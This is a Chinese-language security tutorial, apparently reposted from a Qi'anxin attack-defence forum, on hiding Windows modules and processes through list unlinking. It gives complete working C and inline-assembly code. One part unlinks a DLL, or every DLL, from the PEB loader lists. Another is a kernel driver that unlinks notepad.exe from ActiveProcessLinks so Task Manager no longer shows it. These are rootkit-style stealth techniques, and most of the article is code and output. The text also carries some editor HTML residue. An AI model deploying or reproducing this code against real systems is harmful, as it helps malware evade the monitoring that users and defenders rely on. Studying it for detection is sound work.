基于PEB断链实现进程/模块隐藏

margin

原文链接：基于PEB断链实现进程/模块隐藏 (qq.com)




​首发于奇安信攻防社区：https://forum.butian.net/share/1362
前言
断链这种技术非常古老，同时应用于非常多的场景，在内核层如果我们需要隐藏一个进程的内核结构体，也会使用这种技术。本文基于PEB断链在用户层和内核层分别进行实现，在用户层达到的效果主要是dll模块的隐藏，在内核层达到的效果主要是进程的隐藏。
3环PEB断链
每个线程都有一个TEB结构来存储线程的一些属性结构，TEB的地址用fs:[0]来获取，在0x30这个地址有一个指针指向PEB结构

​

image-20220303105142979
然后定位到PEB，PEB就是进程用来记录自己信息的一个结构，在PEB的0x00c偏移有一个 Ldr _PEB_LDR_DATA结构跟进去

​

image-20220303105208149
在_PEB_LDR_DATA里有三个双向链表

1. <p><code>InLoadOrderModuleList</code>：模块加载的顺序</p>
   
2. 
   
3. <p><code>InMemoryOrderModuleList</code>：模块在内存的顺序</p>
   
4. 
   
5. <p><code>InInitializationOrderModuleList</code>：模块初始化的顺序</p>

复制代码

​
​

​

image-20220303105258490

以InLoadOrderModuleList 为例，双向链表的含义起始就是最后的指针会指向自己
​

​

​
​
image-20220303111243857
那么了解了基本原理之后我们就可以通过断链来实现模块的隐藏，我们知道如果要枚举模块一般都是使用CreateToolhelp32Snapshot 拍摄快照，然后找到模块列表之后进行遍历，其实api也是通过找_PEB_LDR_DATA这个结构来获取程序有哪些模块，那么我们如果想隐藏某个dll，就可以通过修改这几个双向链表的方法来进行隐藏

_DRIVER_OBJECT 结构体中 0x014的偏移有一个成员，DriverSection 可以实现对内核模块的遍历。DriverSection 是一个指针，实际上是对应着一个结构体：_LDR_DATA_TABLE_ENTRY

​

image-20220303112029342
在_LDR_DATA_TABLE_ENTRY的0x018偏移处有一个DllBase，这里存放的就是dll的地址

​

image-20220303111751260
所以这里我们如果要想隐藏某个指定的dll，就可以通过DllBase的方式，通过GetModuleHandleA获取dll的句柄，来进行比对
实现
那么我们首先定义_PEB_LDR_DATA和_LDR_DATA_TABLE_ENTRY结构

1. // LDR链表头
   
2. typedef struct _PEB_LDR_DATA
   
3. {
   
4.     DWORD Length;
   
5.     bool Initialized;
   
6.     PVOID SsHandle;
   
7.     LIST_ENTRY InLoadOrderModuleList; // 指向了 InLoadOrderModuleList 链表的第一项
   
8.     LIST_ENTRY InMemoryOrderModuleList;
   
9.     LIST_ENTRY InInitializationOrderModuleList;
   
10. } PEB_LDR_DATA,*PPEB_LDR_DATA;
    
11. 
    
12. typedef struct _LDR_DATA_TABLE_ENTRY
    
13. {
    
14.     LIST_ENTRY          InLoadOrderModuleList;
    
15.     LIST_ENTRY          InMemoryOrderModuleList;
    
16.     LIST_ENTRY          InInitializationOrderModuleList;
    
17.     void*               BaseAddress;
    
18.     void*               EntryPoint;  
    
19.     ULONG               SizeOfImage;
    
20.     UNICODE_STRING        FullDllName;
    
21.     UNICODE_STRING      BaseDllName;
    
22.     ULONG               Flags;
    
23.     SHORT               LoadCount;
    
24.     SHORT               TlsIndex;
    
25.     HANDLE              SectionHandle;
    
26.     ULONG               CheckSum;
    
27.     ULONG               TimeDateStamp;
    
28. } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;</code></pre>
    
29. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.0.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>

复制代码

然后通过汇编定位到LDR
  

1. __asm
   
2.     {
   
3.         mov eax,fs:[0x30] // PEB
   
4.         mov ecx,[eax + 0x0c] // LDR
   
5.         mov ldr,ecx  
   
6.     }

复制代码

因为这里三个双向链表的结构都是一样的，这里就以InLoadOrderModuleList来进行断链示范，这里要实现断链，最简单的做法就是让Head的Flink和Blink指向它自己
首先通过获取到的ldr结构指向InLoadOrderModuleList

1. Head = &(ldr->InLoadOrderModuleList);

复制代码

然后通过CONTAINING_RECORD这个宏返回结构体基址

1. Cur = Head->Flink;
   
2. ldte = CONTAINING_RECORD( Cur, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList);

复制代码

​
​

​

​
image-20220303114416634

1. void CONTAINING_RECORD(
   
2.    address,
   
3.    type,
   
4.    field
   
5. );

复制代码

进行断链操作
      

1. ldte->InInitializationOrderModuleList.Blink->Flink = ldte->InInitializationOrderModuleList.Flink;  
   
2.         ldte->InInitializationOrderModuleList.Flink->Blink = ldte->InInitializationOrderModuleList.Blink;   

复制代码

然后将指针指向下一个结构

1. Cur = Cur->Flink;

复制代码

因为需要遍历链表进行断链指向自身的操作，这里就需要写一个循环进行断链，完整代码如下

1. // killPEB.cpp : Defines the entry point for the console application.
   
2. //
   
3. 
   
4. #include "stdafx.h"
   
5. #include <Windows.h>
   
6. 
   
7. typedef struct _UNICODE_STRING {
   
8.     USHORT Length;
   
9.     USHORT MaximumLength;
   
10.     PWSTR  Buffer;
    
11. } UNICODE_STRING, *PUNICODE_STRING;
    
12. 
    
13. typedef struct _PEB_LDR_DATA
    
14. {
    
15.     DWORD Length;
    
16.     bool Initialized;
    
17.     PVOID SsHandle;
    
18.     LIST_ENTRY InLoadOrderModuleList;
    
19.     LIST_ENTRY InMemoryOrderModuleList;
    
20.     LIST_ENTRY InInitializationOrderModuleList;
    
21. } PEB_LDR_DATA,*PPEB_LDR_DATA;
    
22. 
    
23. // LDR表项，存储了模块信息
    
24. typedef struct _LDR_DATA_TABLE_ENTRY
    
25. {
    
26.     LIST_ENTRY          InLoadOrderModuleList;
    
27.     LIST_ENTRY          InMemoryOrderModuleList;
    
28.     LIST_ENTRY          InInitializationOrderModuleList;
    
29.     void*               BaseAddress;
    
30.     void*               EntryPoint;  
    
31.     ULONG               SizeOfImage;
    
32.     UNICODE_STRING        FullDllName;
    
33.     UNICODE_STRING      BaseDllName;
    
34.     ULONG               Flags;
    
35.     SHORT               LoadCount;
    
36.     SHORT               TlsIndex;
    
37.     HANDLE              SectionHandle;
    
38.     ULONG               CheckSum;
    
39.     ULONG               TimeDateStamp;
    
40. } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
    
41. 
    
42. void HideModule(HMODULE hModule)
    
43. {   
    
44.     PPEB_LDR_DATA ldr;  
    
45.     PLDR_DATA_TABLE_ENTRY ldte;
    
46.     __asm
    
47.     {
    
48.         mov eax,fs:[0x30]  
    
49.         mov ecx,[eax + 0x0c]
    
50.         mov ldr,ecx  
    
51.     }
    
52.    
    
53.     PLIST_ENTRY Head, Cur;
    
54. 
    
55.     Head = &(ldr->InLoadOrderModuleList);
    
56.     Cur = Head->Flink;
    
57.    
    
58.     do
    
59.     {
    
60.         
    
61.         ldte = CONTAINING_RECORD( Cur, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
    
62.         if (ldte->BaseAddress == hModule)
    
63.         {        
    
64.             
    
65.             ldte->InLoadOrderModuleList.Blink->Flink = ldte->InLoadOrderModuleList.Flink;  
    
66.             ldte->InLoadOrderModuleList.Flink->Blink = ldte->InLoadOrderModuleList.Blink;         
    
67.         }
    
68.         Cur = Cur->Flink;
    
69.     } while(Head != Cur);
    
70.    
    
71.     Head = &(ldr->InMemoryOrderModuleList);
    
72.     Cur = Head->Flink;
    
73.    
    
74.     do  
    
75.     {  
    
76.         
    
77.         ldte = CONTAINING_RECORD( Cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList);  
    
78.         if (ldte->BaseAddress == hModule)
    
79.         {
    
80.             
    
81.             ldte->InMemoryOrderModuleList.Blink->Flink = ldte->InMemoryOrderModuleList.Flink;  
    
82.             ldte->InMemoryOrderModuleList.Flink->Blink = ldte->InMemoryOrderModuleList.Blink;         
    
83.         }
    
84.         Cur = Cur->Flink;
    
85. 
    
86.     } while(Head != Cur);
    
87.    
    
88.     Head = &(ldr->InInitializationOrderModuleList);
    
89.     Cur = Head->Flink;
    
90.    
    
91.     do  
    
92.     {  
    
93.         
    
94.         ldte = CONTAINING_RECORD( Cur, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList);  
    
95.         if (ldte->BaseAddress == hModule)
    
96.         {
    
97. 
    
98.             ldte->InInitializationOrderModuleList.Blink->Flink = ldte->InInitializationOrderModuleList.Flink;  
    
99.             ldte->InInitializationOrderModuleList.Flink->Blink = ldte->InInitializationOrderModuleList.Blink;                     
    
100.         }
     
101.         Cur = Cur->Flink;
     
102.     } while(Head != Cur);
     
103. }
     
104. 
     
105. int main(int argc, CHAR* argv[])
     
106. {
     
107.     printf("点任意按键开始断链");
     
108.     getchar();
     
109.     HideModule(GetModuleHandleA("kernel32.dll"));
     
110.     printf("断链成功\n");
     
111.     getchar();
     
112.     return 0;
     
113. }</code></pre>

复制代码

这里在没有开始断链的时候可以看到是由3个模块的
​

​

​
image-20220303114545778
锻炼之后可以发现kerner32.dll已经被隐藏

​

image-20220303114604347
如果要实现所有模块的隐藏，直接将模块判断的代码删除即可

1. void HideModule_All()
   
2. {   
   
3.     PPEB_LDR_DATA ldr;  
   
4.     PLDR_DATA_TABLE_ENTRY ldte;
   
5.     // 获取LDR
   
6.     __asm
   
7.     {
   
8.         mov eax,fs:[0x30]
   
9.         mov ecx,[eax + 0x0c]
   
10.         mov ldr,ecx  
    
11.     }
    
12.    
    
13.     PLIST_ENTRY Head;
    
14. 
    
15.     Head = &(ldr->InLoadOrderModuleList);
    
16.     Head->Flink = Head->Blink = Head;
    
17.     Head = &(ldr->InMemoryOrderModuleList);
    
18.     Head->Flink = Head->Blink = Head;
    
19.     Head = &(ldr->InInitializationOrderModuleList);
    
20.     Head->Flink = Head->Blink = Head;   
    
21. }</code></pre>

复制代码

实现效果如下
​

​

​​
image-20220303114924715
锻炼之后，模块已经全部看不到了
​

​

​
​
image-20220303114940168
0环PEB断链在操作系统层面上，进程本质上就是一个结构体，当操作系统想要创建一个进程时，就分配一块内存，填入一个结构体，并为结构体中的每一项填充一些具体值。而这个结构体，就是EPROCESS

​

image-20220303115209696
在+0x088 偏移处有一个指针ActiveProcessLinks ，指向的是 _LIST_ENTRY。它是双向链表，所有的活动进程都连接在一起，构成了一个链表

​

image-20220303115305720
那么链表总有一个头，全局变量PsActiveProcessHead（八个字节）指向全局链表头。这个链表跟进程隐藏有关，只要我们把想要隐藏进程对应的EPROCESS的链断掉，就可以达到在0环进程隐藏的目的。
我们看一下PsActiveProcessHead
kd> dd PsActiveProcessHead
​
​

​

​
image-20220303115555534
前四个字节指向的是下一个EPROCESS结构，但指向的并不是EPROCESS的首地址，而是每一个进程的 _EPROCESS + 0x88的位置
​
​

​

​
image-20220303115617377
所以当我们要查询下一个进程结构时，需要 -0x88。比如当前PsActiveProcessHead指向的下一个地址为0x863b58b8
kd> dt _EPROCESS 863b58b8-0x88
在0x174偏移的地方存储着进程名，我们可以看到第一个EPROCESS结构对应的是System进程，这里0x88偏移存放的就是下一个EPROCESS结构的地址，但是这里注意，因为这个结构的地址是指向下一个链表的地址，所以如果要得到EPROCESS的首结构就需要-0x88
​

​

​​
image-20220303115703063
我们通过偏移得到下一个EPROCESS结构，可以发现为smss.exe进程

​

image-20220303120000922

实现

那么到这里我们的思路就清晰了，通过EPROCESS找到我们要隐藏的进程的ActiveProcessLinks，将双向链表的值修改，就可以将我们想要隐藏的这个进程的ActiveProcessLinks从双向链表中抹去的效果，这里的话如果在windbg里面直接使用ed修改的话是比较方便的，但是如果要使用代码来进行修改的话就需要首先定位到EPROCESS
在ETHREAD的0x220偏移得到ThreadsProcess，指向的是_EPROCESS这个结构体
​

​

​
​
image-20220303141810777
那么就可以用汇编实现找到EPROCESS结构

1. __asm
   
2.     {
   
3.         mov eax, fs: [0x124] ;
   
4.         mov eax, [eax + 0x220];
   
5.         mov pEprocess, eax;
   
6.     }

复制代码

首先定义一个指针指向EPROCESS结构，并初始化指向ActiveProcessLinks的指针

1. pCurProcess = pEprocess;
   
2. 
   
3. curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);

复制代码

然后判断通过EPROCESS的0x174处的ImageFileName来判断进程名是不是我们想要隐藏的进程

​

image-20220303142222636

1. ImageFileName = (PCHAR)pCurProcess + 0x174;
   
2.         if (strcmp(ImageFileName, "notepad.exe") == 0)

复制代码

如果是我们想要隐藏的进程就执行断链操作
         

1.   curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
   
2.             nextNode = curNode->Flink;
   
3.             preNode = curNode->Blink;
   
4.             
   
5.             preNode->Flink = curNode->Flink;
   
6.             
   
7.             nextNode->Blink = curNode->Blink;

复制代码

如果不是我们想要的进程就继续往下取ActiveProcessLinks的值

1. pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
   

复制代码

完整代码如下

1. #include <ntddk.h>
   
2. 
   
3. NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path);
   
4. VOID DriverUnload(PDRIVER_OBJECT driver);
   
5. 
   
6. 
   
7. NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
   
8. {
   
9.     PEPROCESS pEprocess, pCurProcess;
   
10.     PCHAR ImageFileName;
    
11.    
    
12.     __asm
    
13.     {
    
14.         mov eax, fs: [0x124] ;
    
15.         mov eax, [eax + 0x220];
    
16.         mov pEprocess, eax;
    
17.     }
    
18.     pCurProcess = pEprocess;
    
19.    
    
20.     do
    
21.     {
    
22.         ImageFileName = (PCHAR)pCurProcess + 0x174;
    
23.         if (strcmp(ImageFileName, "notepad.exe") == 0)
    
24.         {
    
25.             PLIST_ENTRY preNode, curNode, nextNode;
    
26.             
    
27.             curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
    
28.             nextNode = curNode->Flink;
    
29.             preNode = curNode->Blink;
    
30.             
    
31.             preNode->Flink = curNode->Flink;
    
32.             
    
33.             nextNode->Blink = curNode->Blink;
    
34. 
    
35.             DbgPrint("断链成功!\n");
    
36.         }
    
37.         pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
    
38.     } while (pEprocess != pCurProcess);
    
39. 
    
40.     driver->DriverUnload = DriverUnload;
    
41.     return STATUS_SUCCESS;
    
42. }
    
43. 
    
44. VOID DriverUnload(PDRIVER_OBJECT driver)
    
45. {
    
46.     DbgPrint("驱动卸载成功\n");
    
47. }

复制代码

实现效果如下

​

image-20220303143145719
安装驱动之后在任务管理器跟cmd里面都已经看不到notepad.exe这个进程

​

image-20220303143157303
配合视频食用更佳：
https://www.bilibili.com/video/BV1xL4y1u7mN
​